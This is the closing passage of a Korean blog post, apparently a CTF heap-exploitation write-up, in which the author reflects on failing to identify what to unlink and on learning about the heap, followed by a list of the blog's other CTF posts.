-의식의 흐름 끝- 

문제를 풀 때 취약점을 찾고 어떤 기법으로 풀어야 될지는 알았는데 무엇을 unlink 시켜야하는지 파악을 못했다.

그래도 이 문제를 풀면서 힙 공부에 도움이 많이 된 것 같았다. :)



'CTF' 카테고리의 다른 글

2016 Hitcon secret holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06
tuCTF guest_book  (2) 2017.12.03
tuCTF vuln-chat2  (0) 2017.11.29
tuCTF vuln-chat  (0) 2017.11.28